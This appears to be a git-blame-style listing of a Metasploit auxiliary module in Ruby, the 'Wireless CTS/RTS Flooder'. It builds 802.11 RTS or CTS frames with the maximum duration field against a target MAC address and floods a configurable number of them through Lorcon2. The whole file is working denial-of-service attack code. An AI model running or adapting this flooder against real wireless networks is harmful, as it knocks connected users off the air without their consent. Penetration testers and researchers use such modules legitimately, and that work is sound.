2010-04-30 08:40:19 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-04-30 08:40:19 +00:00
|
|
|
##
|
|
|
|
|
2008-04-21 05:41:53 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2008-04-21 05:41:53 +00:00
|
|
|
|
2009-10-23 15:59:13 +00:00
|
|
|
include Msf::Exploit::Lorcon2
|
2008-11-18 20:00:31 +00:00
|
|
|
include Msf::Auxiliary::Dos
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-04-21 05:41:53 +00:00
|
|
|
def initialize(info ={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Wireless CTS/RTS Flooder',
|
|
|
|
'Description' => %q{
|
2010-05-03 17:13:09 +00:00
|
|
|
This module sends 802.11 CTS/RTS requests to a specific wireless peer,
|
|
|
|
using the specified source address,
|
|
|
|
},
|
2008-04-21 05:41:53 +00:00
|
|
|
'Author' => [ 'Brad Antoniewicz' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$'
|
2010-05-03 17:13:09 +00:00
|
|
|
))
|
|
|
|
|
2008-04-21 05:41:53 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('ADDR_DST',[true, "TARGET MAC (e.g 00:DE:AD:BE:EF:00)"]),
|
|
|
|
OptString.new('ADDR_SRC',[false, "Source MAC (not needed for CTS)"]),
|
|
|
|
OptString.new('TYPE',[true,"Type of Frame (RTS, CTS)",'RTS']),
|
2008-11-24 18:42:59 +00:00
|
|
|
OptInt.new('NUM',[true, "Number of frames to send",100])
|
2008-04-21 05:41:53 +00:00
|
|
|
],self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
case datastore['TYPE'].upcase
|
|
|
|
when 'RTS'
|
|
|
|
if (!datastore['ADDR_SRC'])
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error("FAILED: RTS Flood selected but ADDR_SRC not set!")
|
2008-04-21 05:41:53 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
frame = create_rts()
|
|
|
|
when 'CTS'
|
|
|
|
|
2010-07-25 21:37:54 +00:00
|
|
|
frame = create_cts()
|
2010-04-30 08:40:19 +00:00
|
|
|
else
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error("No TYPE selected!!")
|
2010-04-30 08:40:19 +00:00
|
|
|
return
|
2008-04-21 05:41:53 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
open_wifi
|
2008-11-13 06:27:31 +00:00
|
|
|
print_status("Sending #{datastore['NUM']} #{datastore['TYPE'].upcase} frames.....")
|
2008-04-21 05:41:53 +00:00
|
|
|
|
2008-11-13 06:27:31 +00:00
|
|
|
datastore['NUM'].to_i.times do
|
2008-04-21 05:41:53 +00:00
|
|
|
wifi.write(frame)
|
|
|
|
end
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|
2008-04-21 05:41:53 +00:00
|
|
|
def create_rts
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-04-21 05:41:53 +00:00
|
|
|
frame =
|
|
|
|
"\xb4" + # Type/SubType
|
|
|
|
"\x00" + # Flags
|
|
|
|
"\xff\x7f" + # Duration
|
|
|
|
eton(datastore['ADDR_DST']) + # dst addr
|
|
|
|
eton(datastore['ADDR_SRC']) # src addr
|
|
|
|
|
|
|
|
return frame
|
|
|
|
end
|
|
|
|
def create_cts
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
frame =
|
2008-04-21 05:41:53 +00:00
|
|
|
"\xc4" + # Type/SubType
|
|
|
|
"\x00" + # Flags
|
|
|
|
"\xff\x7f" + # Duration
|
|
|
|
eton(datastore['ADDR_DST']) # dst addr
|
|
|
|
|
2010-09-20 08:06:27 +00:00
|
|
|
return frame
|
2008-04-21 05:41:53 +00:00
|
|
|
end
|
2008-11-13 06:27:31 +00:00
|
|
|
end
|